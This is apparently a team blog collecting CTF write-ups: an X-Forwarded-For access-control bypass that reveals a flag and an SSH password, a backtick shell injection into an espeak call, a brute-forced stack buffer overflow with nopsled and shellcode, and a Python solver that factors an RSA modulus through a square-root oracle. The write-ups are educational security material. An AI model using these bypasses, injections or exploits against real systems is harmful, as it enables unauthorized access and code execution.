OpenCTF 2018 - Forbidden Folly 1 & 2 Writeup

Forbidden Folly 1 50 ---
Welcome to Hacker2, where uptime is a main prority: http://172.31.2.90

Forbidden Folly 2 50 ---
It seems like out of towners are terrible at scavenger hunts: http://172.31.2.91

These challenges from OpenCTF 2018 at Defcon 26 were simple web challenges that took us way more time to solve than it should have.

Attempting to visit the page linked to in the hint only resulted in a 403 Forbidden response. Eventually an organizer alluded to the server caring about the origin of the request. This led us down the incorrect path of attempting to make the request with an Origin HTTP header.

Eventually though, we figured out that requesting the resource with an X-Forwarded-For HTTP header was the key:

curl -v http://172.31.2.90/' -H 'X-Forwarded-For: 127.0.0.1'

This returned an HTML page for the "HackerTwo System Status" page, and at the bottom of the source is the flag:

<!-- flag(Th4t_WAS_To0_EASY} -->

For the second challenge in the series, we first attempted to add other HTTP request headers that we thought the hint might be alluding to with "out of towners" such as Accept-Language but nothing seemed to affect the response.

The "HackerTwo System Status" page contained the following text:

If at any point all systems stop responding you may want to check the system to verify everything is running properly. Tim placed a web terminal on the system for easy access, the location of that has been emailed to everyone who has access to this portal.

We thought this web terminal might be the key to finding the flag, so keeping the X-Forwarded-For header as before, we poked around a bit. Eventually after manually trying a few paths, we found /debug on the server returned a directory listing containing secret.txt, which contained the flag:

curl -v 'http://172.31.2.91/debug/secret.txt' -H 'X-Forwarded-For: 127.0.0.1'
*   Trying 172.31.2.91...
* TCP_NODELAY set
* Connected to 172.31.2.91 (172.31.2.91) port 80 (#0)
> GET /debug/secret.txt HTTP/1.1
> Host: 172.31.2.91
> X-Forwarded-For: 127.0.0.1
>
< HTTP/1.1 200 OK
< Date: Sat, 11 Aug 2018 23:00:38 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Last-Modified: Tue, 24 Jul 2018 06:38:04 GMT
< ETag: "ea-571b901137e84"
< Accept-Ranges: bytes
< Content-Length: 234
< Vary: Accept-Encoding
< Content-Type: text/plain
<
Chad,

I've created an account for you here on the system. You can log into ssh with the user chad and the password FriendOfFolly^.
Please delete this message after you've read it.

PS: flag{Th3_nexT_0ne_iS_D1ff1cul7}

Thanks,
Grace

Posted on Aug. 14, 2018, 10:40 p.m. by tecknicaltom

PlaidCTF 2017 - Echo (web 200) Writeup

This challenge presents a webpage with the text "Tweets are 140 characters only!" and input boxes for four tweets. Submitting tweets gives you a page with wav files, one per tweet that contains a text to speech version of the tweet.

The source code for the web front-end was provided. Examining it, you see that the tweets are written to a file:

echo_57f0dd57961caae2fd8b3c080f0e125b.py

85      with open(my_path + "input" ,"w") as f:
86          f.write('\n'.join(tweets))

Also, a flag is expanded and written to a file. This creates a large file (65000b per character of the flag) that needs to be acquired completely to get the flag.

echo_57f0dd57961caae2fd8b3c080f0e125b.py

25 def process_flag (outfile):
26     with open(outfile,'w') as f:
27         for x in flag:
28             c = 0
29             towrite = ''
30             for i in range(65000 - 1):
31                 k = random.randint(0,127)
32                 c = c ^ k
33                 towrite += chr(k)
34 
35             f.write(towrite + chr(c ^ ord(x)))
36     return

Both of these files are passed to a docker container:

echo_57f0dd57961caae2fd8b3c080f0e125b.py

10 docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"
94      subprocess.call(docker_cmd.format(path=my_path).split())

Finally, the dockerized process must generate the wav files, because they're then converted back in our python code:

echo_57f0dd57961caae2fd8b3c080f0e125b.py

11 convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"

echo_57f0dd57961caae2fd8b3c080f0e125b.py

43     for i in range(n):
44         st = os.stat(path + str(i+1) + ".wav")
45         if st.st_size < 5242880:
46             subprocess.call (convert_cmd.format(in_path=path + str(i+1) + ".wav",
47                                          out_path=target_path + str(i+1) + ".wav").split())

So, first step is to get the run.py that is executed in docker. I chose to extract it from the image without actually creating a container. I'm not very well-versed in Docker, so there may be an easier way to do this:

docker pull lumjjb/echo_container
docker save lumjjb/echo_container > echo.tar
tar xvf echo.tar
for l in */layer.tar ; do echo $l ; tar tvf $l ; done | less
tar xvf 8f*/layer.tar run.py

That gives us:

run.py

 1 import sys
 2 from subprocess import call
 3 
 4 import signal
 5 import os
 6 def handler(signum, frame):
 7     os._exit(-1)
 8 
 9 signal.signal(signal.SIGALRM, handler)
10 signal.alarm(30)
11 
12 
13 INPUT_FILE="/share/input"
14 OUTPUT_PATH="/share/out/"
15 
16 def just_saying (fname):
17     with open(fname) as f:
18         lines = f.readlines()
19         i=0
20         for l in lines:
21             i += 1
22 
23             if i == 5:
24                 break
25 
26             l = l.strip()
27 
28             # Do TTS into mp3 file into output path
29             call(["sh","-c",
30                 "espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])

A quick glance at that shows that it's vulnerable to shell injection in the call to espeak. Submitting a tweet with of `pwd` (using backticks) returns an audio of "slash", confirming.

Since the audio is converted by ffmpeg, we can't just cat the flag file into the output wav files. Instead, I chose to reconstruct the flag within the docker image. After confirming that the docker environment had Perl available, I was off to do some golfing, eventually working up to:

`perl -e 'local$/;$a=<>;$f[$_/65000]^=ord(substr($a,$_,1))for(0..length($a)-1);print join"-",@f' share/flag`

This one-liner reconstructs the flag and prints the decimal ASCII values of each character. Manually transcribed from the audio, it gives:

80-67-84-70-123-76-49-53-115-116-51-110-95-84-48-95-95-114-101-101-101-95-114-101-101-101-101-101-101-95-114-101-101-101-95-108-97-125

which decodes to:

PCTF{L15st3n_T0__reee_reeeeee_reee_la}

Posted on April 23, 2017, 6:31 p.m. by tecknicaltom

OpenCTF 2016 - Apprentice WWW (Binary 300) writeup

Solution by [Neg9] Javantea

Files:

Apprentice_www is a exploitable challenge with a simple premise.

You get to overwrite one byte. That's not enough for code execution in a normal system. But the mprotects make the whole text segment writable and executable. That's good enough get a loop around the function that overwrites bytes. Then you can overwrite the text segment with your shellcode in a special way, then your shellcode executes. Instead of writing a python script that connects and sends the integers, I chose to print the integers and paste them into netcat. Then cat /home/challenge/flag

One interesting thing that I had to overcome was the loop jump. If you overwrite the lower byte of the loop jump with your shellcode, you will jump somewhere other than the top of the loop and it'll be crash city. So instead of doing that use the fact that it's a conditional jump to have it execute your shellcode. Which value does your input have to be to get it to branch the other direction? 0. So that's why there's a

# Junk
print(0x80489db)
print(0)

at the bottom of my script. Yup.

Solution:
one_drop_andAllOFTHESUDDEN

Posted on Aug. 27, 2016, 9:30 p.m. by Javantea

OpenCTF 2016 - CGC Neophyte (Binary 300) writeup

Solution by [Neg9] Javantea

Files:

Neophyte was one of the more difficult challenges at OpenCTF that I solved. I spent 1 hour getting the first exploit to work, just a simple buffer overflow. I spent 4 or so hours getting the exploit that worked on the first binary reliable for approximately 1 in 150 binaries. The solution reads the value subtracted from EBP at address 8048546 to decide how large the buffer should be to overflow. I copied the shellcode from a teammate's solution. Then the solution reads varcmp, the byte that is compared to a changing value in the binaries. The exploit is not reliable because we don't know the address of the stack. Therefore we guess and it will crash 99.3% of the time. 0.7% of the time, it will hit the nopsled and execute our shellcode. Then you can cat /home/challenge/flag and you are done.

Details

Exploiting a buffer overflow

If you're at the point where you're having trouble exploiting this buffer overflow, you should not be so worried. You're exploiting the stack which is variable size and the stack is randomized. If the stack is enormous, you can fill it with nops and jump to where you think it might be. Stack overflows should usually be exploited in the following manner:

nopsled + shellcode + padding + address

How do we know the right amount of nopsled and padding for the address to be in the right place? The buffer size is known to you, so you can get your address executed every time. To do this dynamically, Create a pattern to crash your program. Then you can use the pattern to determine how long your buffer should be. If you don't have a pattern generator, use AAAA...BBBB. Increase the number of A's but keep just 4 B's, this makes it so you know when EIP is 0x42424242, you have the right position.

On the topic of padding, generally you want as little padding as possible, but that depends on how much data is trashed in the stack. If only 15 bytes get trashed at the end of the stack, your padding should be 15 bytes long. In this case I wasn't interested in finding out how many bytes were getting trashed on the stack, so I gave 50 bytes to padding and it worked.

Figuring out how big the buffer size is given two binaries

In neophyte you can find out the correct buffer size with one binary if you understand buffer overflows properly. But let's assume that you don't (like I didn't when I exploited this challenge) for the purpose of explanation. First you use the technique in the previous section to find out the correct length of the buffer. It doesn't matter where you measure it from, so long as you're consistent. Then you look at the values in the binary.

diff

diff -u neophyte1.jav neophyte2.jav
--- neophyte1.jav       2016-08-05 19:09:09.935916641 -0700
+++ neophyte2.jav       2016-08-05 19:39:34.523799711 -0700
@@ -163,12 +163,12 @@
 vulnerable:
  804852f: PUSH EBP
  8048530: MOV EBP, ESP ; EBP = ESP;
- 8048532: SUB ESP, 0x3db8 ; ESP -= 0x3db8;
+ 8048532: SUB ESP, 0xea8 ; ESP -= 0xea8;
  8048538: MOV EAX, [0x804a040] ; EAX = [0x804a040];
  804853d: SUB ESP, 0x4 ; ESP -= 0x4;
  8048540: PUSH EAX
- 8048541: PUSH DWORD 0x41a4
- 8048546: LEA EAX, [EBP-0x3dac]
+ 8048541: PUSH DWORD 0x129c
+ 8048546: LEA EAX, [EBP-0xea4]
  804854c: PUSH EAX
  804854d: CALL 80483d0 <fgets>
  8048552: ADD ESP, 0x10 ; ESP += 0x10;
@@ -201,8 +201,8 @@
  80485a0: ADD ESP, 0x10 ; ESP += 0x10;
  80485a3: CALL 80483c0 <getchar>
  80485a8: MOV [EBP-0x9], AL ; [EBP-0x9] = AL;
- 80485ab: CMP BYTE [EBP-0x9], 0x6b ;
- 80485af: JNZ 0x80485c8 ; if(BYTE [EBP-0x9] == 0x6b) {
+ 80485ab: CMP BYTE [EBP-0x9], 0x75 ;
+ 80485af: JNZ 0x80485c8 ; if(BYTE [EBP-0x9] == 0x75) {
  80485b1: SUB ESP, 0xc ; ESP -= 0xc;
  80485b4: PUSH DWORD 0x8048670 ; 'good gatekeeper'
  80485b9: CALL 80483f0 <puts>

There are two values that could possibly be the buffer size. One is sub esp at 8048532 and the other is sub lea at 8048546. Create the table below (the original of which I made during the competition you can find in sublea1.txt).

binary correct   subesp lea
neophyte1 15798 0x3db6 0x3db8 0x3dac
neophyte2 3758 0xeae 0xea8 0xea4

Now we do a tiny bit of algebra. The correct value - subesp is (0x3db6-0x3db8) and (0xeae-0xea8). The correct value minus sublea is (0x3db6-0x3dac) and (0xeae-0xea4). Which of the two values is consistent? sublea+4 is correct. subesp is not.

Waiting

Some hackers aren't patient enough to exploit some vulnerabilities. That's all right because you don't need to exploit every vulnerability. Some vulnerabilities you want to see patched before you have a chance to exploit it. The last step in exploiting this vulnerability is have patience and let the for loop finish the job.

bash

for i in $(seq 1 200); do echo 'new'; python3 neophyte1.py; done >gg3.txt
grep -A2 success gg3.txt |sort |uniq -c
    180 --
      4 *** Connection closed by remote host ***
      1 DontGetAngr_y___IT_WILL_GET_WORSE
    175 new
    181 resp success b'\n'
    181 shell:
Solution:
DontGetAngr_y___IT_WILL_GET_WORSE

Posted on Aug. 15, 2016, 10:50 p.m. by Javantea

Google CTF 2016 - RSACalc (crypto 300) Writeup

Hint:

Connect to ssl-added-and-removed-here.ctfcompetition.com:59999

Try our new Cloud Computing Service.

Note: Encrypt and decrypt operations expect base64-encoded input.

Connecting to the server (via SSL!) and solving a simple proof of work gives us an "RSA Calculator" that supports some basic arithmetic and Boolean operations along with encrypting and decrypting simple messages:

Usage: [operand1] operator operand2

Supported operations: +, -, , /, ^, |, &, *, sqrt, encrypt, decrypt

After 8 operations or a timeout, the system will kick you out with an encrypted copy of the flag for your troubles.

Unfortunately, messages give a different encrypted value every time they're submitted suggesting that there's some sort of random padding being applied. As you would expect the previous flag can't be decrypted on subsequent connections leading to the likely conclusion that the private key changes on every connection attempt.

There's no obvious way to even get the public key parameters, until you notice that asking for certain operations (like 2**128) gives suspiciously low results. It turns out that all operations are being performed over a modulus, and the obvious guess is that the modulus they're using is the N parameter of for their RSA encryption.

There are several ways to get N back out from this operation, but the simplest (thanks to Meta!) is to just find a number that equals zero (modulo N). The operation 1/2 gives a number that (although surprisingly large) when multiplied by 2 will be congruent to 1 (modulo N). So, because the calculator performs all the calculations modulo N we were able to verify that 1 == (1/2)*2 and 0 == ((1/2)*2)-1 == N.

Next we needed information about the padding. Requesting encryption of increasingly large plaintexts reveals that a minimum of 11 bytes of padding are mandatory (based on the 2048-bit N we discovered earlier). This is the same number of bytes as RSAES-PKCS1-v1_5 requires, which was also used in Spotted Wobbegong.

To finish discovering the public parameters we need e. Fortunately since we know N and a likely padding format we can simply encrypt a chosen plaintext locally and see if it decrypts correctly on the server. This quickly identifies 65537 as the proper value for e and confirms that PKCS v1.5 padding is indeed being used.

At this point the public portion of the key is fully discovered, but without the private key it doesn't seem possible to decrypt the flag…

But one of the more curious operations that rsacalc provides is sqrt. This allows you to reverse a quadratic residue of an arbitrary value mod N. This is easy when N is prime but computationally hard when N is a composite of two large primes…unless you happen to know and use knowledge of the component primes. In fact, it's a known equivalent to integer factorization, as described by:

The second link in particular gives you a direct recipe for calculating one particular component prime of N:

  1. Choose an element 'A' between 2…N uniformly at random and compute A=a² (mod N)
  2. Apply the square root computation technique on A, get result a′
  3. If a′=±A retry, else gcd(A-a′,N) is a non-trivial factor of N

This generally gives us one prime factor of N in two or three attempts. Once one prime is discovered you can do simple division to get the other prime, and then just implement RSA private key derivation to discover the private key, d.

From here decrypt the flag by calculating (m^d) mod N, and strip off the PKCS padding to get the flag:

CTF{What.kind.of.flower.should.never.be.put.in.a.vase-Cauliflower}

And here's the automated solver in Python:

  1 import ssl, socket, re, itertools, string, fractions, random, gmpy2
  2 from hashlib import sha1
  3 from base64 import b64encode, b64decode
  4 from Crypto.Util.number import bytes_to_long, long_to_bytes
  5 
  6 def proof_of_work(base):
  7     base = bytes(base)
  8     letters = [bytes(x) for x in string.ascii_letters]
  9 
 10     for c in itertools.combinations_with_replacement(letters, 7):
 11         work = b"".join(c)
 12         digest = sha1(base + work).hexdigest()
 13         if digest.startswith("00000"):
 14             return work
 15 
 16 e = 65537
 17 host,port = "ssl-added-and-removed-here.ctfcompetition.com",59999
 18 
 19 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 20 s.connect((host, port))
 21 sslSocket = socket.ssl(s)
 22 
 23 #Throw away messages until you hit the proof of work
 24 data = sslSocket.read(1024)
 25 data = sslSocket.read(1024)
 26 proof = re.findall('proof\=(.*?)\, sha1', str(data))[0]
 27 print('proof is: ' + proof)
 28 
 29 work = proof_of_work(proof)
 30 print('work is: ' + str(work))
 31 sslSocket.write(work + b'\n')
 32 
 33 data = sslSocket.read(1024)
 34 print data
 35 if(-1 != data.find('Nope')):
 36     print 'Proof of work failed.'
 37     raise
 38 
 39 #Throw away banner
 40 data = sslSocket.read(1024)
 41 data = sslSocket.read(1024)
 42 
 43 sslSocket.write('1 / 2 \n')
 44 data = sslSocket.read(1024)
 45 
 46 N = (int(data) * 2) - 1
 47 print 'N: ' + str(N)
 48 
 49 p = 0
 50 q = 0
 51 
 52 while(True):
 53     value = random.randint(2, N - 1)
 54     A = pow(value, 2, N)
 55 
 56     sslSocket.write('sqrt ' + str(A))
 57     data = sslSocket.read(1024)
 58 
 59     aPrime = int(data)
 60 
 61     if(aPrime == value or aPrime == (value + N) ):
 62         print "+- A satisfied. :( Retrying"
 63         continue
 64 
 65     if(fractions.gcd(value - aPrime, N) != 1):
 66         p = fractions.gcd(value - aPrime, N)
 67         print 'Found factor: \n' + str(p)
 68         q = N / p
 69         print 'q: \n' + str(q)
 70 
 71         if(0 == ((p * q) - N)):
 72             print '(p * q) == N! Private key found.'
 73             break
 74         else:
 75             print 'Found candidate p that did not result in N. Retrying'
 76 
 77 d = gmpy2.invert(e, (p-1)*(q-1))
 78 
 79 flag = ''
 80 
 81 while(True):
 82         sslSocket.write(b'1 + 1\n')
 83         data = sslSocket.read(1024)
 84         if data.find("flag") != -1:
 85             flag = re.findall(b'forget your flag\!\n(.*?)\n', data)[0]
 86             print(b"flag: " + flag)
 87             break
 88 
 89 flagB = bytes_to_long(b64decode(flag))
 90 
 91 decrypted = pow(flagB, d, N)
 92 decryptedB = long_to_bytes(decrypted)
 93 
 94 #Remove PKCS padding
 95 for i in range(2, len(decryptedB)):
 96     if('\0' == decryptedB[i]):
 97         print 'Decryption: ' + str(decryptedB[i:])
 98         break
 99 
100 print 'Done!'

Posted on May 4, 2016, 12:24 a.m. by reidb